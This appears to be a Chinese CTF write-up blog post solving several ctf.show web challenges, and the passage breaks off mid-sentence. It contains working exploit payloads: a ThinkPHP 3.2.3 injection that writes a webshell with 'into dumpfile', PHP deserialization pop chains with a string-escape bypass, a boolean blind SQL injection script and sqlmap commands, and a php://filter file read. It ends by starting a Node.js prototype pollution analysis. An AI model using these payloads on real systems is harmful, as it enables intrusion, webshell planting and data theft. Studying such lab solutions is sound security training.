lastsward’s website 先弱密码登录
看路由好像是tp3.2.3,报错看看能不能成功
是一个NDAY进行exp注入,将游戏名字修改,利用dumpfile
写入shell
,不过这个东西,写入文件不可覆盖
1 /index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell.php"--+
eazy-unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 <?php include "mysqlDb.class.php" ;class ctfshow { public $method ; public $args ; public $cursor ; function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; $this ->getCursor (); } function getCursor ( ) { global $DEBUG ; if (!$this ->cursor) $this ->cursor = MySql ::getInstance (); if ($DEBUG ) { $sql = "DROP TABLE IF EXISTS USERINFO" ; $this ->cursor->Exec ($sql ); $sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64), password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8" ; $this ->cursor->Exec ($sql ); $sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')" ; $this ->cursor->Exec ($sql ); } } function login ( ) { list ($username , $password ) = func_get_args (); $sql = sprintf ("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'" , $username , md5 ($password )); $obj = $this ->cursor->getRow ($sql ); $data = $obj ['role' ]; if ( $data != null ) { define ('Happy' , TRUE ); $this ->loadData ($data ); } else { $this ->byebye ("sorry!" ); } } function closeCursor ( ) { $this ->cursor = MySql ::destroyInstance (); } function lookme ( ) { highlight_file (__FILE__ ); } function loadData ($data ) { if (substr ($data , 0 , 2 ) !== 'O:' ) { return unserialize ($data ); } return null ; } function __destruct ( ) { $this ->getCursor (); if (in_array ($this ->method, array ("login" , "lookme" ))) { @call_user_func_array (array ($this , $this ->method), $this ->args); } else { $this ->byebye ("fuc***** hacker ?" ); } $this ->closeCursor (); } function byebye ($msg ) { $this ->closeCursor (); header ("Content-Type: application/json" ); die ( json_encode ( array ("msg" => $msg ) ) ); } } class Happy { public $file ='flag.php' ; function __destruct ( ) { if (!empty ($this ->file)) { include $this ->file; } } } function ezwaf ($data ) { if (preg_match ("/ctfshow/" ,$data )){ die ("Hacker !!!" ); } return $data ; } if (isset ($_GET ["w_a_n" ])) { @unserialize (ezwaf ($_GET ["w_a_n" ])); } else { new CTFSHOW ("lookme" , array ()); }
看到反序列化的这部分,如果没有反序列化就new
一个CTFSHOW
,那就说明前面的没啥用,我们就看后面的反序列化就可以了
1 2 3 4 5 6 <?php class Happy { public $file ='/flag' ; } $a =new Happy ();echo serialize ($a );
1 /?w[a_n=O:5:"Happy":1:{s:4:"file";s:5:"/flag";}
eazy-unserialize-revenge 我觉得他防止的非预期不知道是啥,我还是直接就打通了
迷惑行为大赏之盲注 看题目肯定是盲注,慢慢测试发现重置密码的部分可以布尔盲注
1 2 admin' and 1=1--+ admin' and 1=2--+
直接布尔盲注就可以了,先用sqlmap一把梭哈吧
1 2 3 4 python sqlmap.py -u "http://1cb1c469-a625-4030-baed-3eaeddda9f18.challenge.ctf.show/forgot.php" --data ="username=admin" -D 测试 -T 15665611612 -C "`what@you@want`" --dump --batch python sqlmap.py -u " http://1 cb1c469-a625-4030-baed-3eaeddda9f18 .challenge.ctf.show/forgot.php" --data=" username=admin" -D " 测试" -T " 15665611612 " -C " ``what@you@want``" --dump --batch
慢慢等,但是这也太慢了吧,这里不能使用普通的ascii,发现里面有中文得用十六进制,先写循环确定长度,然后再枚举
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsurl = 'http://0e8dc8cb-095f-468e-94e0-fed1a2ea7c51.challenge.ctf.show/forgot.php' i=0 target="" while True : i+=1 tail=32 head=127 while tail<head: mid=(head+tail)//2 payload = f"admin'AND 1=(ascii(substr((select HEX(group_concat(`what@you@want`)) from `测试`.`15665611612`),{i} ,1))>{mid} )#" data = {"username" : payload} r=requests.post(url,data=data) if "用户存在,但是不允许修改密码 :P" in r.text: tail = mid + 1 else : head = mid if tail != 32 : target += chr (tail) else : break print (f"\nFinal target: {target} " )
说实话非常讲细节了,长度和查内容完全不一样属于是,不过我二分法的话就只需要查内容就可以了
Web逃离计划 弱密码是admin\admin888
,但是并没有进后台,查看源码发现有任意文件读取漏洞,能读取没有报错但是好像不能正常读
1 /lookMe.php?file=php://filter/convert.base64-encode/resource=lookMe.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );if ($_GET ['file' ]){ $filename = $_GET ['file' ]; if ($filename =='logo.png' ){ header ("Content-Type:image/png" ); echo file_get_contents ("./static/img/logo.png" ); }else { ini_set ('open_basedir' ,'./' ); if ($filename =='hint.php' ){ echo 'nononono!' ; } else { if (preg_match ('/read|[\x00-\x2c]| |flag|\.\.|\.\//i' , $filename )){ echo "hacker" ; }else { include ($filename ); } } } }else { highlight_file (__FILE__ ); }
所以呢,没了下一步该怎么干,想直接日志文件包含,发现东西位置可能被移动了,读取hint.php
看看
1 2 3 4 5 6 7 <?php echo "Here are some key messages that are hidden but u can't read</br>u may try other ways to read this file to get hints" ;
那就一直读就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php function get ($data ) { $data = str_replace ('forfun' , chr (0 )."*" .chr (0 ), $data ); return $data ; } function checkData ($data ) { if (stristr ($data , 'username' )!==False&&stristr ($data , 'password' )!==False){ die ("fuc**** hacker!!!\n" ); } else { return $data ; } } function checkLogData ($data ) { if (preg_match ("/register|magic|PersonalFunction/" ,$data )){ die ("fuc**** hacker!!!!\n" ); } else { return $data ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <?php error_reporting (0 );class Login { protected $user_name ; protected $pass_word ; protected $admin ; public function __construct ($username ,$password ) { $this ->user_name=$username ; $this ->pass_word=$password ; if ($this ->user_name=='admin' &&$this ->pass_word=='admin888' ){ $this ->admin = 1 ; }else { $this ->admin = 0 ; } } public function checkStatus ( ) { return $this ->admin; } } class register { protected $username ; protected $password ; protected $mobile ; protected $mdPwd ; public function __construct ($username ,$password ,$mobile ) { $this ->username = $username ; $this ->password = $password ; $this ->mobile = $mobile ; } public function __toString ( ) { return $this ->mdPwd->pwd; } } class magic { protected $username ; public function __get ($key ) { if ($this ->username!=='admin' ){ die ("what do you do?" ); } $this ->getFlag ($key ); } public function getFlag ($key ) { echo $key ."</br>" ; system ("cat /flagg" ); } } class PersonalFunction { protected $username ; protected $password ; protected $func = array (); public function __construct ($username , $password ,$func = "personalData" ) { $this ->username = $username ; $this ->password = $password ; $this ->func[$func ] = true ; } public function checkFunction (array $funcBars ) { $retData = null ; $personalProperties = array_flip ([ 'modifyPwd' , 'InvitationCode' , 'modifyAvatar' , 'personalData' , ]); foreach ($personalProperties as $item => $num ){ foreach ($funcBars as $funcBar => $stat ) { if (stristr ($stat ,$item )){ $retData = true ; } } } return $retData ; } public function doFunction ($function ) { return true ; } public function __destruct ( ) { $retData = $this ->checkFunction ($this ->func); $this ->doFunction ($retData ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <link rel="stylesheet" href="./static/layui/css/layui.css" > <style type="text/css" > body{ width:100 %; height: 100 %; background: url (./static /img/bak.jpg) } .container{ width: 420 px; height: 320 px; min-height: 320 px; max-height: 320 px; position: absolute; top: 0 ; left: 0 ; bottom: 0 ; right: 0 ; margin: auto; padding: 20 px; z-index: 130 ; border-radius: 8 px; background-color: box-shadow: 0 3 px 18 px rgba (100 , 0 , 0 , .5 ); font-size: 16 px; } .close{ background-color: white; border: none; font-size: 18 px; margin-left: 410 px; margin-top: -10 px; } .layui-input{ border-radius: 5 px; width: 300 px; height: 40 px; font-size: 15 px; } .layui-form-item{ margin-left: -20 px; } margin-top: -10 px; padding-left:100 px; padding-bottom: 15 px; } .layui-btn{ margin-left: -50 px; border-radius: 5 px; width: 350 px; height: 40 px; font-size: 15 px; } .verity{ width: 120 px; } .font-set{ font-size: 13 px; text-decoration: none; margin-left: 120 px; } a:hover{ text-decoration: underline; } </style> </head> <body> <?php include "class.php" ;include "ezwaf.php" ;session_start ();$username = $_POST ['username' ];$password = $_POST ['password' ];$finish = false ;if ($username !=null &&$password !=null ){ $serData = checkLogData (checkData (get (serialize (new Login ($username ,$password ))))); $login = unserialize ($serData ); $loginStatus = $login ->checkStatus (); if ($loginStatus ){ $_SESSION ['login' ] = true ; $_COOKIE ['status' ] = 0 ; } $finish = true ; } ?> <form class ="layui -form " action ="" method ="post "> <div class ="container "> <button class ="close " title ="关闭">X </button > <div class ="layui -form -mid layui -word -aux "> <?php if ($finish ) { if (1 == $loginStatus ){ ?> <img id="logoid" src="lookMe.php?file=logo.png" height="35" > <?php }else { echo '<img id="logoid" src="./static/img/logo.png" height="35">' ; } ?> <?php }else { ?> <img id="logoid" src="./static/img/logo.png" height="35" > <?php } ?> </div> <div class ="layui -form -item "> <label class ="layui -form -label ">用户名</label > <div class ="layui -input -block "> <input type ="text " name ="username " required lay -verify ="required " placeholder ="请输入用户名" autocomplete ="off " class ="layui -input "> </div > </div > <div class ="layui -form -item "> <label class ="layui -form -label ">密   ;  ;码</label > <div class ="layui -input -inline "> <input type ="password " name ="password " required lay -verify ="required " placeholder ="请输入密码" autocomplete ="off " class ="layui -input "> </div > <?php if ($finish ) { if (!$loginStatus &&$username ==='admin' ){ echo '<div class="layui-form-mid layui-word-aux">不是Sql(滑稽</div>' ; } } ?> </div> <div class ="layui -form -item "> <div class ="layui -input -block "> <button class ="layui -btn " lay -submit lay -filter ="formDemo ">登陆</button > </div > </div > </div > </form > <script type ="text /javascript " src ="static /layui /layui .js "></script > <script > layui .use (['form ', 'layedit ', 'laydate '], function () { var form = layui.form ,layer = layui.layer <?php if ($_SESSION ['login' ]){ ?> layer.msg ('登陆成功,欢迎您,然而并没有什么卵用(Y4小可爱不说假话-eg:Y4说他不做题了睡了)' , { time : 2500 , //20 s后自动关闭 }); <?php } ?> <?php if ($finish &&$username =='admin' ){ $_SESSION ['login' ] = false ; if ($password !='admin888' ){ ?> layer.msg ('密码错误,登陆成功有隐藏礼包' , { time : 1000 , //20 s后自动关闭 }); <?php }}elseif ($finish &&$username !='admin' ){ $_SESSION ['login' ] = false ; ?> layer.msg ('用户名错误,登陆成功有隐藏礼包' , { time : 1000 , //20 s后自动关闭 }); <?php } ?> form.on ('submit(demo1)' , function(data){ layer.alert (JSON.stringify (data.field), { title : '最终的提交信息' }) return false ; }); }); </script> </body> </html>
一看这个反序列化接口的样子看来是逃逸了,把文件保存下来看看链子是什么样子的
每次可以逃逸三个字符,
1 PersonalFunction::__destruct()->register::__toString()->magic::__get()->magic::getFlag()
是由这个函数触发__toString()
,写出poc
,说实话这种串起来的,我并不熟悉,属于是很牵强的给写出来了,其中还有就是php版本不高的时候protected
可以被public
替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class Login { public $user_name ; public $pass_word ; public $admin ; } class register { public $mdPwd ; } class magic { public $username ; } class PersonalFunction { public $func = array (); } $a =new magic ();$a ->username="admin" ;$b =new register ();$b ->mdPwd=$a ;$c =array ($b );$d =new PersonalFunction ();$d ->func=$c ;$e =new Login ();$e ->user_name="admin" ;$e ->pass_word=$d ;$e ->admin=0 ;echo serialize ($e );
还有waf绕过一下就可以了,其中我们这里还要自己补上";s:9:"pass_word";
才能正常的进行反序列化
1 O:5:"Login":3:{s:9:"user_name";s:5:"admin";s:9:"pass_word";s:141:"";s:9:"pass_word";O:16:"PersonalFunction":1:{s:4:"func";a:1:{i:0;O:8:"register":1:{s:5:"mdPwd";O:5:"magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin";i:0;}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class Login { public $user_name ; public $pass_word ; public $admin ; } class register { public $mdPwd ; } class magic { public $username ; } class PersonalFunction { public $func = array (); } $a =new magic ();$a ->username="admin" ;$b =new register ();$b ->mdPwd=$a ;$c =array ($b );$d =new PersonalFunction ();$d ->func=$c ;$f =serialize ($d );$e =new Login ();$e ->user_name="admin" ;$e ->pass_word='";s:9:"pass_word";' .$f ;$e ->admin=0 ;echo serialize ($e );
1 O:5:"Login":3:{s:9:"user_name";s:5:"admin";s:9:"pass_word";s:141:"";s:9:"pass_word";O:16:"PersonalFunction":1:{s:4:"func";a:1:{i:0;O:8:"register":1:{s:5:"mdPwd";O:5:"magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin";i:0;}
说实话被饶了很久我都不想看了,其实我逃逸就凭感觉就知道是admin";s:9:"pass_word";s:141:"
而为啥给我绕了一下午呢,就是我没注意看代码
这里如果要进行正确的反序列化需要补上password那一段,才可以,但是我给忘了,就整了一下午,而且家里也比较吵,哎
1 2 3 print (len ('admin";s:9:"pass_word";s:142:"' ))print ("forfun" *10 )
还要绕过黑名单,可以利用大小写不敏感来解决
1 username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=1";s:9:"pass_word";O:16:"personalFunction":1:{s:4:"func";a:1:{i:0;O:8:"Register":1:{s:5:"mdPwd";O:5:"Magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin";i:0;}
终于做出来了啊呜呜呜
未完成的项目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 var createError = require ('http-errors' );var express = require ('express' );var path = require ('path' );var cookieParser = require ('cookie-parser' );var logger = require ('morgan' );var indexRouter = require ('./routes/index' ); var app = express ();app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'html' ); app.use (logger ('dev' )); app.use (express.json ()); app.use (express.urlencoded ({ extended : false })); app.use (cookieParser ()); app.use (express.static (path.join (__dirname, 'public' ))); app.use ('/' , indexRouter); app.use (function (req, res, next ) { res.json ({ "error" : "404" }) next (createError (404 )); }); module .exports = app;
这个很明显没有什么用啊,然后扫描出来了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 var express = require ('express' );var router = express.Router ();var db = require ('mysql-promise' )const mysql = require ( 'mysql' );const connection = require ("mysql" );class Database { constructor ( config ) { this .connection = mysql.createConnection ( config ); } query ( sql, args ) { return new Promise ( ( resolve, reject ) => { this .connection .query ( sql, args, ( err, rows ) => { if ( err ) return reject ( err ); resolve ( rows ); } ); } ); } close ( ) { return new Promise ( ( resolve, reject ) => { this .connection .end ( err => { if ( err ) return reject (err); resolve (); } ); } ); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object ;function merge (a, b ) { for (var attr in b) { if (isObject (a[attr]) && isObject (b[attr])) { merge (a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } function clone (a ) { return merge ({}, a); } router.get ('/' ,function (req,res,next ) { console .log ("index" ); }) router.post ('/' , function (req, res, next ) { var body = JSON .parse (JSON .stringify (req.body )); if (body.host != undefined ) { return res.json ({ "msg" :"fu** hacker!!!" }) } var num = 0 for (i in body){ num ++; } if (num!=2 ){ return res.json ({ "msg" :"fu** hacker!!!" }) }else { if (body.username ==undefined ||body.password ==undefined ){ return res.json ({ "msg" :"fu** hacker!!!" }) } } var copybody = clone (body) var host = copybody.host == undefined ? "localhost" : copybody.host var flag = "123432432432" var config = { host : host, user : 'root' , password : 'root' , database : 'users' }; let database=new Database (config); var user = copybody.username var pass = copybody.password function isInValiCode (str ) { var reg= /-| |#|[\x00-\x2f]|[\x3a-\x3f]/ ; return reg.test (str); } if (isInValiCode (user)){ return res.json ({ "msg" :"no hacker!!!" }) } let someRows, otherRows; database.query ( 'select * from user where user= ? and passwd =?' , [user,pass] ) .then ( rows => { if (1 == rows[0 ].Id ) { res.json ({ "msg" :flag }) } } ) .then ( rows => { otherRows = rows; return database.close (); }, err => { return database.close ().then ( () => { throw err; } ) } ) .then ( () => { res.json ({ "error" : "err" ,"msg" :"user or pass err" }) }) .catch ( err => { res.json ({ "error" : "err" ,"msg" :"user or pass err" }) } ) }); module .exports = router;
看到了merge
和constructor
,很明显的原型链污染了,但是